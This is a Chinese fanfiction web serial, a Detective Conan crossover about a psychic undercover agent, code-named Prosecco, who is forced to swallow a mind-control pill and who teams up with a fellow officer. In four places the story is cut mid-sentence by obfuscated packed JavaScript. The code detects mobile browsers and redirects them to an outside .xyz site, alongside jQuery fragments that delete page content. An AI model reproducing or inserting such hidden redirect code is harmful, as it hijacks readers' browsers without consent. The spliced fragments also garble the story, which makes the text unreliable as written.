《这个柯学世界真的没问题吗》 1. 序章 ■■■ 【你的名字?】 『……』 【你叫竹取无尘】 『...』 【你叫竹取无尘,你是阿蒂斯官方特卫科的潜入执行官】 『……』 『那你叫什么?』 【我叫■■】 『那是■■』 【是的,■■是■■】 『……』 【忘了这个吧,好孩子,忘了这个吧】 『......』 001 硝烟味。警铃声。还有火光,卷着尘吸进肺里,黑色的瞳孔映照着那张脸。 ■■■■。 骨头也许断了两根?他不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427638|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚。 头很痛,也许是被钻机开了个孔?血糊着半只眼睛,是他的眼睛吗? 竹取无尘分辨不出。 00■ 『……』 『好的,我会忘了你』 『我是竹取无尘,我是阿蒂斯官方特卫科的潜入执行官』 『■■,你注意安全。』 2. 第 2 章 002 啊...卧底... 是的是的,他,竹取无尘,死而复生的某神秘路人,又!是!卧底! 黑发青年窝在沙发上,虚着眼睛,模模糊糊地盯着天花板神游,这个职业他很熟…太熟了,熟到上辈子一睁眼就干的这个活,这辈子一睁眼又在继续干这个活。 这个岗位怎么追着他杀啊! 【自己】电脑上的加密资料显示,他役属于警视厅公安部,于三年前潜入这个不知名组织,大概有涉及到非法生物实验、经济交易…权//色交易……一大帮子违法的字眼看得他眼花缭绕,作恶程度比起他上辈子卧底的地儿有过之而无不及。 珀洛塞可。 prosecco。 这个世界的一种起泡酒,现在貌似是他的代号。 “额啊……” 竹取无尘烦躁地乱叫,他指尖插进发缝,狠狠抓了两把,连带下来几根无辜受害的发丝,飘飘落在地砖上。 他并不是讨厌当警察这一类的官方人物,彻底瘫在沙发上的人这么想着,他只是…… 青年闭眼。 混乱的思绪掉进世界的夹缝,揉成一团团的血,尖叫声,尸体砸在地上飞溅的尘土,在脑子里,在胃里,眼睛里,蠢蠢欲动地想要挣扎着跳出来。 “救救我,求求你救救我,你说你是官方的人对吧,你为什么…为什么…为什么”“长官,他们盯上了阿蒂斯A3区的补给交易,我请求支援…长官…我请求支援。长官。我请求支援。长官。你为什么不回话?长官。长……” 忙音。 比耳鸣还锐利的忙音。 天旋地转。 “阿蒂斯已经完蛋了竹取!你清醒一下!我们走吧!算我求你了!我们逃吧!!”那双红色的瞳孔盯着他,倒映出的人面色惨白,竹取看到那个人影摇了摇头。 瞳孔碎开,撒了一地。 “我确定他是阿蒂斯的人,老大。”“你听见了吗”“你用异能听见了吧竹取” 快。跑。 他跑到了记忆中的【故土】,那里竖着一片片,充当旧世界墓碑的木板。他停下。 肺在尖叫。 再也跑不动了。 “一个精神系的异能者遇到这一堆开挂的简直是战五渣啊!完全被按着打啊!” 倒数的几秒,他一边笑一边抱怨怎么不觉醒一个能打的异能。 “下辈子!下辈子我好歹!要带个控吧!!” 看不清楚了。眼前一片片的黑,脸上一阵湿润,是血吗?是泪吗?还是下雪了? 是下雪了吧。 竹取无尘看着远方被风鼓动着的云,在寒冷的冬夜里,一家人紧紧拥抱成一团,最后是荒风。吹散了僵直的骨。 “砰!” “!” 黑发青年惊醒,睁着眼睛盯着代替了战火的天花板,胡乱从地上爬起,才发现不知道什么时候自己在沙发上睡了过去,然后卷着一团毯子一起在地上摔了个圆满。 天已经黑了,房间没开灯,昏暗闷沉地压着人,竹取折了折毯子,一屁股坐回沙发,眼皮涩涩地沉,脸颊湿润,又在青年的叹息间被抹去。 今天应该是做了好人好事?他又揉了揉眼睛。那几枚炸/弹——会影响组织交易的炸弹——出于报复所以无差别攻击的炸弹——会被放在百货大楼的炸弹——竹取无尘出手阻止了整件事的发生,虽然也利好了那个大热天穿黑风衣的大高个。 叫什么来着? 噢,琴酒 长得就一副“我要犯罪了快来抓我啊emoji”的人。 开灯,竹取无尘磨蹭到洗手间洗了把脸,抬头看着镜子里的人——他是身穿,他还是他曾经的样子,这仿佛永远不会变了。 这是不是代表他还要接着做曾经的事? 命运完全不会改变啊。 他抹了一把尚在滴水的下巴。 “这样能救到更多的人吗?” 他还在看着镜子中的自己,不过在自己都不知道答案的情况下,自己又怎么为自己解答。 那还要接着当潜入搜查官吗? 这算什么,老员工复职? 青年咧嘴嘲笑着哪怕死了一次也不长记性的自己。 如果能救更多的人的话———他甘之如饴。 003 不过不是这么甘之如饴的。 事情应该从昨天晚上他励志复职成功,今天上午就被这个组织扯出来“迎新”说起。 带着熟悉的头套,被塞进了不熟悉的车,司机是个下雨天还要带墨镜的大块头——为什么下雨天开车还要带墨镜啊? 你也是生怕路上警察不查你证件是吧? 也许是怕竹取这个新来的记住转弯个数和具体方向,司机在本就不大的城市不停地绕着圈,黑色头套不透气,做了一晚上噩梦的青年着实有点晕了。 其实深一脚浅一脚的刹车和转弯都勉强在接受范围内,但是这位司机!你——竹取无尘忍无可忍——你可不可以不要这么开心了! 自从来到这个诡异的世界后他的异能就开始从主动变成了被动,或许这是好事? 就在昨天,自以为开着挂的竹取无尘试图探听一下那位银发杀手的心声,刚刚试图链接环境攻击对方精神缺口的一瞬间,青年惊恐地发现他的精神力条猛地跳水,差一点直接清空。 还好他及时刹住,不然就要表演一个刚穿越一天,就又把自己弄得半死的大笑话。 然后青年就发现他只能听到一些精神起伏大,或者说情绪激烈的人的心声,并且是被动技。 ——还好有这个被动技,不然他一个土生土长的异能世界执行官,着实无法快速习惯在一个普通世界生存。 他可能确实需要快速习惯。 不过这就是为什么他那天仅仅是吃个饭就能抓到犯罪未遂的炸弹犯,以及为什么他现在在这辆车上埋怨着司机的心情太好。 仇恨是被放大的情绪,爱也是。 “明天晚上八点有洋子小姐的专辑再贩!明天晚上八点有洋子小姐的专辑再贩!这次要吃十配!十配!!” 黑衣司机的心声有着明显的高昂,在像大字报一样数次重复这个大新闻之后,在心里高歌起了疑似这位洋子小姐即将再贩的专辑曲目。 完全不认识冲野洋子但是被迫超前点听的竹取无尘:………… 竹取无尘:。 004 虽然是被很不礼貌地从车里拽出来,不过竹取还是感到了一阵久违的解脱和清净。 汽油味,淡淡的霉味,潮湿的感觉绕在裤腿,青年仔细嗅了嗅,发觉自己应该是在停车场。 “走吧,材料已经准备好了。”不轻不重的女声响起,然后是一个成年男性力道的推搡。 这个女人什么时候出现在他身边的。 竹取无尘皱眉。 不对劲。 很不对劲。 精神系能力者,通常能感知到每个人独有的“精神画布”——那是情感、回忆与自由意志交织而成的集合体,更是一个人之所以为“这个人”的根本所在。 虽然在如今这个世界,异能早已近乎失效,即便如此,他仍能清晰感知到、分辨出一个人是否拥有自己的精神画布、又拥有着怎样的精神画布。 而前面这个女性,没有精神画布。 在这里,他只能感觉到他,和那个大块头司机,两个人。 她似乎已经丧失了一个人作为“一个人”的权利。 堪称恐怖片的画面很快得到了解答,而答案或许就是目前摆在他面前的这颗药—— 被带到不知道哪一层楼后,面前的另一个男性猛地揭开罩在头上头套,清新的空气随之进入鼻腔,实验室刺得眼睛生疼的白灯晃进黑色的瞳孔,竹取无尘看着眼前的银发男人,眯了眯眼。 “早上好啊,琴酒大人。” 他笑着和对面打了个招呼,转而把笑眯着的眼睛转向琴酒正拿着的烟。 “大人这么早就抽烟啊,对身体健康不好噢。” 卧底守则第一条:人设,你需要一个好人设。这一次他又要演成什么样呢? 琴酒也看着这个假笑得令人作呕的黑发青年,扯开嘴角发出一个嘲讽一样的轻笑,转手把烟叼进嘴里,把目光放向了实验室的单面玻璃内,不再分给对方分毫。 他希望一会这个恶心的人还能笑得出来。 “你小子怎么和大哥说话的。”刚刚还在心里高歌伏特加站在竹取旁边,闷声说。 “噢,原来琴酒大人是您的大哥啊!敢问您是?” 竹取这么接着话,实际上他在思考会不会演得是否有点过头——好久没演,他快把自己演吐了。 “伏特加。” 烟快燃尽了,琴酒依旧盯着实验室内部。 “别和他废话,把东西拿过来” “好的大哥!” 005 ———就是这颗药。 通体蓝色透明,正躺在竹取无尘的手心。 “这是什么意思?”青年依旧在笑。 “你不会真觉得自己已经是珀洛塞可了吧?”伏特加嗤笑“吃了这个,你才可以真正地,为我们boss效劳” 啧,什么破组织还搞药/物/控/制这一套。 竹取无尘把这颗药丸捏在食指和拇指间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427639|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抬手对着实验室惨白的灯光,光束透过药丸落在瞳孔,他似是想把这颗东西的主要成分分析出来一样。 事实上他也确实想这么干,可惜异能专业不对口。 “吃了会怎么样?不会是那种一个月不吃解药就穿肠烂肚而死的那种吧?” “没这么低级。” 琴酒踩灭了烟蒂,抬抬下巴示意旁边的青年看向实验室,“你看他。” 竹取无尘应声看去,实验室内部的男人眼神空茫,呆呆地端坐在挨着墙的床边。 没有,什么都感觉不到,和那个女人一样,这个人也没有了精神画布。 是因为这颗药吗? “就是因为这颗药。” 琴酒又笑了,笑得下一秒就能上FBI的通缉令,也有可能他已经在上面了。 “你说,我让他去死,他会做什么?” 竹取无尘没有吭声,他看着琴酒在格/洛/克里上了一发子弹,然后从单向玻璃和桌子之间的缝里把枪滑了过去。 “说说看,你都干了什么,说完,然后去死” 实验室里的男人终于有了反应,他僵直着站起,一步一步踱步到窗边拾起枪,开始了他的发言。 “我是cia特别行动队三队搜查官,我得到行动任务,于三个月前进入□□组织,任务主要目的是截取该组织以及对应经济系统的账户流水,我的交流上级是………” 机械制的发言还在继续钻进竹取无尘的双耳。 但是青年却一点都听不进去了。 这个世界,它,对吗? 竹取很确定自己是坐着还在地上的车来的,人也没有发展到能手搓对轰激光的地步,食物也还是食物,不是什么乱七八糟的补剂。 那这个世界怎么能有他们那里都搓不出来的东西啊! 他想皱眉,却又碍于一旁杀手的盯梢,只能继续虚伪地笑。 “砰!” 竹取看着玻璃窗内的卧底前辈开枪,在他面前,贯穿整个头颅,然后无声无息地倒下。 眩晕。 竹取觉得地板又开始上下翻转,有一团吐不出的东西卡在胸口,又充斥了大脑,塞住了耳朵。一瞬间他有点喘不上气,那一次又一次的指令,通讯的忙音,塌陷的楼梯,救不回的命,从他的四肢窜进又窜出,恍然间,他看见那个人无色彩的灰色眼珠,那天——那见到他的最后一天…… 他猛地死死咬住自己的舌头,血腥味弥散了整个口腔。 清醒过来。 这个药会直接攻击人的精神枢纽。 他依旧笑着。笑着看搜查官倒下,笑着转头,盯着旁边的琴酒,来了一个毫不避让的对视。 这个世界一定是有哪里烂掉了吧。 “怎么样,表演精彩吗?” “六十天、不每六十天来这里拿一次缓和剂的话,就是这个下场。” 想变成倒豆子一样吐情报的傀儡吗? “哦呀。” 一句话要转十个音,果然是演得太过了吧,竹取这么想着。 不然他怎么会这么想吐。 想丧失作为一个人的基本思想吗? “精彩精彩,咱们组织不愧在外界大名鼎鼎,高科技啊!” 他压住翻腾的胃,盯着琴酒的眼睛。 “不过我要是不吃,会怎么样?” 啪咔— 另一把上了膛的枪握在琴酒手中,直抵在竹取无尘的眉心——从踏进琴酒车里的那一刻,就再也没有退路了——要么吃,要么今天就和玻璃内的人一起死。 一颗毒药而已。 “好好好好,抱歉大人,我这个人喜欢开玩笑。”竹取捏着药,双手虚虚往下压,示意对面的杀手冷静。 “走火了可就不好了,我这个人也、特别、惜、命。” 竹取无尘的精神画布里,那颗被钉死的钉子:他说,【为了一切的正义,和不必要的牺牲】 琴酒冷眼看着还在假笑的男人把药物丢进了嘴里,嚼出来咯吱咯吱的声响,不知道的还以为他在吃糖豆。 一颗毒药而已。 他说:【我们是在救更多的人】 今天的窗外是晴天。正是初夏,风卷着树叶,无休止地吹。 在确认了对方没有办法把药吐出来之后,银发杀手丢给了对方一把车钥匙。 “车是你的了,不要以没有车为理由而拒绝任务。”这话说得咬牙切齿,不知道以前是谁招惹了他。 “下次任务见,珀洛塞可!”这句话是伏特加说的。 “好啊,下次任务见噢大人们。” 谁要和你们下次见,最好再也不见,竹取无尘如是想。 3. 第 3 章 006 路上。 竹取无尘笑得发僵的嘴角缓慢落下,拉出一个冷冷的角度。 呵呵。笑得他说话都要说不清楚了,眯眼睛眯得他都要散光了! 用精神控制类药物控制精神系能力者,什么笑话!你听听你听听,都什么东西! 更何况———他把车停在路边,捧着下巴思肘着,作为一名身穿的穿越者,之前在阿蒂斯的训练也许还是作数的。 他想起自己身上那些未消失的老久伤痕。 那些药剂耐受训练,那些足以撬动整块精神画布的诅咒,那些防止他们泄露消息的锁———那使他主动殉职的其中一个原因。 他们是故国最忠臣的盾。 他觉得自己应该不会落得和那些没有思想的傀儡一个一场。 还得感谢一把阿蒂斯。 竹取摩挲着下巴。 这又是一场会把命赔进去的赌/博。 007 要做的事情还有很多。 譬如要去内部网和上级联络任务的最新情况,更新琴酒和伏特加两个人的个人信息。譬如研究一下这个世界的科技信息水平,免得到时候他因为不熟练做出什么惊世骇俗的事情。再譬如……那颗蓝色小药丸。 那颗药丸…… 黑发青年一阵头痛。 这个世界的生物制药水平到底是什么样的……官方知道这种东西吗?他应该把这种东西上报给官方吗?还是说那玩意只是吓唬他的? 完全摧毁一个人精神枢纽这种事…在他所知道的领域,原来那个世界的洗脑水平可以轻松做到…或者一个高等级的精神系能力者也没问题。 但是这个世界…… 他翻看着尚是翻盖手机的通讯工具,陷入沉思。 这是科技水平很高的样子吗? 不过话说回来。竹取无尘一顿。 他怎么适应这个世界适应得这么好啊? 回想起来,他仿佛跟回了家似的,一睁眼就知道怎么操纵这些比较老旧的电子设备,也知道饿了应该拿着现金出去买吃的,被抓去领了个代号回来也很顺风顺水地入侵登录了【自己】的系统。 这正常吗? 还是说每个世界他都是这样的? 三年前,一模一样的情况。他从一摊废墟里被人扒拉出来,抓着他进了训练营苦练了一个月,又转手把他塞进了瑟克尔党——那个反阿蒂斯的恐怖组织当潜入执行官,一切都很丝滑,仿佛那个人命中注定定会在那里找到他,而他也一定会跟着对方走。有个声音,一直有个声音在告诉他,这就是他的职责,这没问题。 这很正常。 是的,这很正常。 竹取无尘转着手中的笔,在网页上敲敲打打,并没有完全提到那颗药丸在他眼里的作用,一是不敢完全确定消息的真伪,万一是用别的科技手段造成的,琴酒那个人在演他呢?二是……他认为这种东西官方知道的越少越好,没人敢想象这要是落到了上面人的手里,纷争,操控,党/同/伐/异…这种事他熟,他太熟了,一个不小心,那就又是战争。 只提到是毒药就行了吧。要提到他吃了吗?需要吗?会造成上级的不信任吗? 卧底这种东西要回去复职是很困难的…说了的话感觉会在任务结束后被开除吧!不过他什么时候回得去过? 正打着字的竹取无尘烦躁地抹了把脸。 他的人生莫名其妙得像骑着打滑的小黄鸭在打满肥皂沫的滑梯上飞驰,丝滑,太丝滑,一路不可控地朝着的悬崖飞去——飞了三年了,差点坠机,又被捞回来了。 最终他还是没有提到自己吃了药的事。 卧底守则第二条:不要轻信任何人。 报告篇幅不长,真正耗时的是加密处理。竹取在电脑前忙碌了两小时,此刻正蹲守在屏幕前,一等联络人的讯息送达,便立刻点击查看。可当他迅速翻完联络人的讯息,这位黑发青年却猛地哽住了——什么叫警视厅还有个人和他在同一个组织里卧底啊! 竹取:………… 竹取:优势好像不在我 【电脑讯息】C:安排见面 【电脑讯息】:1150,乐队,抱歉,贝斯。 消息在公安电脑一闪而过,然后迅速黑屏。 三个星期。幸好他只拿到了代号三个星期,并且这段时间内那边没有任务下来,他还没有机会动手。竹取无尘捏住手上的杯子,手指被压得发白,水汽蔓延到眼镜上,遮了大部分视线。 他听见风病入膏肓,窗外有乌鸦叫嚷。 007 警视厅给的暗号很简单,包含了时间和地理位置。水雾迷蒙,这几天的雨好像都不会停一样。竹取坐在接头的书屋里,远隔着窗,拿着一本乐理划拉着看。他带着眼镜帽子,辗转三个车站和商场才来到这里,谨慎点总是没错的。 他不是没想过不和对方见面,防止一个露馅被牵连出一大片,而且那个什么组织的洗脑技术在这里摆着,这段时间他考虑这个问题让他平白又掉了不少头发。 但是己方不能内耗——伤在自己人手上是最痛的,哪怕暴露了,他也有自信不吐出半个字。黑发青年有一搭没一搭地折着手上的书。他相信对面既然同意见面,那肯定也是有相同的自信。 本来能当搜查官的就从来不会是平庸之辈。 “扣扣”。指节敲击木桌的声音。 “不好意思先生,您有意向加入我们乐队吗?” 他抬眼。对方一身兜帽卫衣,背着吉他包,一双漂亮凌厉的猫眼上挑,蓝色的瞳孔里面满是冷静。 看起来就不是一个好欺负的角色。 这是竹取无尘对诸伏景光的第一印象。 “抱歉,我不会弹贝斯。” 竹取关上书,欠身站起,示意对面的男人坐下。 “不过我很感兴趣,我想我们可以聊聊。” 诸伏景光抽开椅子落座,同时打量着他对面的青年——二十五岁上下,黑短发,黑瞳,单眼皮丹凤眼,戴黑色鸭舌帽,黑框眼镜,无明显面部特征——他一转目光——耳垂有痣。 书屋的小提琴音乐正在流转。 “先生,怎么称呼?”竹取无尘轻轻扬起嘴角,并不是他面对琴酒那帮人的假笑,释放些许善意,舒适地往沙发椅背一靠。 “叫我碧川光就好。”诸伏景光应声。 “石原木,幸会。” 这是竹取在自己资料里翻出来的假名,不得不说很符合他的起名标准,够普通,够不起眼,就是怎么听起来太像一块真木头了。 “或者说,我最近多了个艺名。”黑发青年似有若无的眼神略过诸伏的吉他包。 “泊洛塞可。” 意大利起泡酒。 “石原先生已经起好艺名啦?”诸伏抬了抬眉毛。“看起来我要加快进度了呢。” 对方还未获得暗号。 竹取下意识在桌子上用手指转着圈。 意味着对方并没有接触那个药。 黑发青年抬头,直直对着诸伏景光的目光,第二次主动动用了他从上辈子带过来的异能。 越过那双蓝色的虹膜,在一切的深处,他摸索到对方的精神画布——一切正常,没有问题,可以信任。 精神力值降低至50%。 眼睛忽然刺痛。竹取无尘猛收回视线,闭眼调整呼吸。世界对异能的削弱实在是太大,只是仔细看了两眼自己的精神力就直接被腰斩,那岂不是再看两眼他就又要嗝屁了? 鸡肋啊鸡肋。 他痛心。 诸伏景光看着对面的人突然出现了五彩斑斓的表情变化。 诸伏景光:? 有什么问题吗? “石原先生不舒服吗?” “没事”竹取揉了揉眼睛,深吸了一大口气。 不能再这么谜语人下去了。照这么下去,他俩兜圈子兜一下午都说不明白话。 卧底都有疑心病这件事应该改一改,这么想着的竹取完全忘了自己的卧底守则第二条。 “你在组织里主要负责什么?” “?” 直白的语句戳得诸伏景光一愣,原本已经打好一肚子腹稿的他已经做好了准备和对方纠缠一下午,没想到仅仅打了个招呼对方就已经直接信任他了。 也对,不信任的话见什么面。 “狙击。” 狙击啊……竹取思考着…能力比他更强,技能树点得更多,暗杀任务的核心,比他更容易接触到组织的重要人物和上层人员。真要说起来,比起一个在行动外围收集情报,清楚行动障碍的代号人员,琴酒之类的人物应该是会更信任负责一枪毙掉那些高官显贵的狙击手。 毕竟犯下的罪是实打实的。 黑色的眼睛打量着坐在对面的青年——看起来也比他本人更能打。几乎是下意识的,竹取这么断定。 “好。”他点头,“你努力接触上层人员,必要的时候我替你打掩护。” 卧底嘛,前赴后继地给后人铺路当跳板,常有的事。 猫眼青年颔首,他明白对方在想什么,这个职业太残酷,心软了,犹豫了,他们会一起死。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427640|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石原君。”诸伏景光眼神微闪。 “冒昧地问一下,你是不是也吃了那个药丸?” 意料之中的提问。竹取沉默了一下,他在思考该怎么解释那个药的作用。 诸伏景光打断了这短暂的沉默。 “我听说,那个东西会让人变成傀儡。” 竹取无尘:……? 青年微微瞳孔地震。 这又是怎么知道的?他明明给警视厅那边不是这么讲的啊!对方在短短几个月内收集情报收集成这样了?还是说…不对……不对不对…… 他反复张了张嘴,最后从嗓子里挤出来这么一句话:“你实话告诉我,这个组织里是不是还有我们的人。” 008 竹取无尘正在头疼进行时。 他和对面自称碧川光的男人核对了情报,也就是说现在嗑了那个药的还有一个卧底。 兄弟,这样的卧底到底有多少个啊! “他已经拿到了第一轮的解药,切片了一点送去化验了。” “他擅自减少了服药剂量?” “…是的。” “六十天的时候他具体出现了什么症状?” 诸伏景光摇了摇头,他说他不清楚,在他想进一步和对方联络的时候,通讯已经断了,可能是出现了突发任务。 “好,我知道了。” 竹取和诸伏都很默契,一个默契地没有主动说对方是谁,一个默契地没有追问对方是谁。 在那个药的压力下,谁都赌不起。 在没有摸清楚具体药效的情况里,竹取无尘也不敢赌。 赌输了,那是三条人命。 气氛沉重。小提琴的旋律迷失在两人的焦灼里。 “你知道我吃了药还敢来找我?”竹取咧了咧嘴角,自己的小动作看起来是瞒不过警视厅那边了,晚上还得回去重新打个报告。 “我也知道他那边吃了药,我同样也去见他了。”诸伏眨眨眼,好看的猫眼中跳出一丝笑意。 他是对的。 自己人最忌讳对自己人动手,组织用这个药的原因肯定部分就是为了防止他们卧底碰面,他们迫切地需要一个枢纽来链接三个人的合作,而诸伏景光自愿做了这个枢纽,来保护他们两个人的行动不互相交叉。 三个人里,不管是他出事还是那边那个吃药的出事,诸伏景光都会受累。 但他还是这么做了。 还是个不要命的疯子。 这是竹取无尘对诸伏景光的第二印象。 “所以啊!石原君要保护好我噢!”很明显的玩笑话,猫眼青年笑着调节气氛。“我还是挺重要的。” “好啊。”竹取无尘突然起身,双手撑着桌子,上身略往下倾,由上而下直勾勾盯着诸伏景光蓝色的瞳孔,然后再往里,再往里。 精神力值降低至15% 第三次主动动用异能,他觉得自己真的快晕过去了。 诸伏景光突然觉得竹取黑色无机的瞳孔转出一个无底的漩,那漩涡里正在唱着歌,一双双手从眼睛里伸出来,那是一个很刁钻的角度,甚至可以看见一双双手上的溃烂,正抓着他,去往童年那无声的壁橱里。 啪! 黑色瞳孔的主人闭上了眼睛,一屁股坐回了沙发椅,似乎有什么东西断裂了。 一层薄薄的保护膜出现在了诸伏景光精神画布的周边。 精神系异能的第一课——在入侵他人精神画布的同时,也要学会保护自己,一个保护膜可能会起到很大的作用。 给他自己用和给这个什么碧川光用都是一个效果,那个药很有可能是直接攻击精神画布,他做过抗药性训练倒是可以一试,这帮没有异能的人敢切片解药减少剂量……还是太勇猛了。 狠人。 竹取无尘对诸伏景光那边的同僚报以敬意。 要是以后试出来那个药对他影响小,说什么他也要冲过去给对方也上一个保护膜。 “要注意安全啊,碧川先生。”竹取无尘调整好坐姿,叫醒了对面正在发呆的诸伏景光。 如梦初醒一样,刚刚好像摔进了深夜的漩涡,猫眼青年用力眨了眨眼,总觉得刚刚好像有什么不得了的东西闪过去了。 是错觉吗? “我想我们以后还会有更多机会见面的。”竹取无尘起身,整理了一下他乱放的书。 “你的乐队,我确实挺感兴趣。” “是吗?”诸伏景光也笑了,“那以后有机会来玩。” 他目送黑发青年出门,薄外套被吹得翩飞。 夜还很长。 4. 第 4 章 008 夜确实很长。 但对于竹取无尘来说还是不够长。 他的联络人问他吃没吃那个药。 他给了肯定的答复:是的,他吃了。 这并不能代表着他全权相信他的上级,这个组织能在这里盘踞这么久,牵扯到了如此之多的产业,他不信上层对此一无所知,所以他更要告诉这些上层:他吃药了,现在的他很好控制。 不管是对组织控制他来说,还是上级控制他来说。 如果,是说如果,上面有这个组织的人,那更是再好不过———你看啊,这些试图抓住我们把柄的搜查官,自己也无法脱身了——他会知道什么该说,什么不该说,这些是令人放心的棋子。这是他们亲手递出去的把柄,让官方和组织都放心的把柄。 还有一件事——竹取无尘盯着自己的精神力条长长地叹气。 30% 才恢复到了30%。 太慢太慢了。用一点普通的技能消耗就很大,五个小时过去了才回复15%。 黑夜。暴雨肆虐。屋里开了灯,死死拉着窗帘,叹气声在房间里闷沉。 他觉得按照这么个恢复法,他迟早会死于精神力衰竭。 00? 【陈无】 “我有好久好久都没见到你了”那个男人这样说。“你应该离我远一点。” 离我远一点。 他看着那个男人的眼睛,是浅浅的灰色。 眨眼。消失了。 腥味在发酵。是眼睛,眼睛掉到了地上。 “你不过来吗?你不恨他吗?”咔啦——咔啦———金属敲打的声音。他感觉到自己脸颊下的血管在跳。 被放大的。濒死的。血溅了一地。 温润,滑腻。舌根发苦。十字架上,那个人咕哝着笑。 【陈无】 他们盯上你了 跑。 跑啊! 009 其实他不一定会死于精神力衰竭,竹取无尘坐在床上一脸凌乱地抓狂。他一定会死于由于经常做噩梦导致的睡眠不足。 真的过去了很久了——那个人——那个曾经把他从废墟里抓出来丢进训练营的人——那个明知道是陷阱还要冲上去的人——那个和他永远无法言说的人。 到了最后,他也只能记得那双再也无光的灰色眼睛。 有些时候真的会很恨他。 点开台灯,昏黄的光落在表盘上——凌晨四点。海棠花未眠,他也陪着不眠,就这么和漫漫长夜耗着。 竹取仰躺在床上,脑子里空落落的,只漫不经心地转着念头:要不要起来弄点宵夜? 刚有这想法,手机提示音突然跳了出来,打断了他这点微不足道的盘算。 现在是凌晨四点,是哪一边的人不睡觉在这里熬命。 【手机通讯】gin:上午七点半,三号训练室。 是琴酒啊……那没事了,早晚熬死他。竹取打开邮箱回复消息。 【手机通讯】prosecco:好的大人!这么晚还不休息吗大人(爱心)要注意身体呀大人(爱心) 任务。 终于到这一天了。 还有三个半小时。完全没有了吃宵夜的心情的竹取无尘重新爬回被子里,闷头往枕头里一砸。还是睡两个小时吧,不然一会神志不清地去找那一帮犯罪人员,他真的会觉得自己太惨了。 手机通讯再无消息提醒,不过他也没真的指望琴酒能回点什么。竹取恶趣味地想到了对方或许看到他爱心那一瞬间卡顿的脸——嘿嘿——这个人设就是方便恶心人。 他又接着想到自己即将面临的事情,那些明显犯法的任务,那些他无法抵抗的洪流。 朝着天花板张开手,没开灯,灰压压的光线顺着五指的缝隙漏下,有些许的扭曲。 传说里,奥丁早早就接过了那份预示末日的命运。许多年后诸神的黄昏,旧世界燃着漫天火光,他随着命运的指示而湮灭。 这就是命运吗?带领着所有人走向必经之路的东西?带领着他走到现在的东西? 他闭眼。 原来命运从来都不是什么好东西。 窗外又下起雨,这次的梦里看不见【他】的脸。 010 直到闹铃再次打碎了梦,打工人又要苦哈哈地爬起来打工——不过还好大家都是打工人。 竹取无尘靠着墙,眼神意有所指地略过一旁正在擦枪的碧川光,距离上次见面不过三天,没想到这么快又见面了。 “琴酒大人!早上好呀!昨天晚上有好好休息吗?” 他又开始对着那个银发杀手假笑,弯弯的笑眼打量着对方,见杀手根本不理,他转向碧川。 “这位是?” “碧川光,狙击手。” 诸伏景光用温润但冰冷的声音回答,或许是为了塑造一个新的影响,他的下巴上尚留着短短的胡茬,让整个人看起来更成熟。 “你好” “这次是他的考核行动。” 琴酒终于说了今天的第一句话,冷绿的眼睛扫过在场的两个人。 “他负责主要狙击,而你,珀洛塞可。” “你负责周边所有人物的清扫、目标对象的死亡确认以及拿回他们的交易物品。” “清扫?”竹取无尘笑着半眯的眼睛睁开,但是嘴角依旧是那个猫一样的弧度。“多少人?全杀了?我一个人?” 不仅要杀人,他还要亲身进入死亡的第一现场,他会暴露在狙击枪的瞄准镜里,并且很有可能和警方或者其他人员出现碰面,他需要设法脱身,不能杀害除了任务方的其余人等。 这任务比他想象的难一点,还好这次的狙击手是自己人——如果琴酒没有隐瞒别的狙击手的话。 “你一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427641|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一会儿会有情报人员和你们对接。”银发杀手只回答了三个问题中的一个,就起身准备走了,他看起来真的很忙。“做好了,回来复命。” 他没有提任务失败的下场,不过结果不言而喻。没有人会在意一个新晋代号成员和一个底层人员的死活,在爬上去之前,他们都是耗材。 耗材。 对于警方和组织,他们都是。 训练室在琴酒走之后陷入短暂的寂静,水泥墙上有潮湿的痕迹,包裹着室内的两个人一起缓缓下沉。 “你好,碧川大人,我是珀洛塞可,真名石原木,请多指教。” “叫我碧川就好,请多指教。” “好的碧川大人。” 这是他们第二次打招呼。 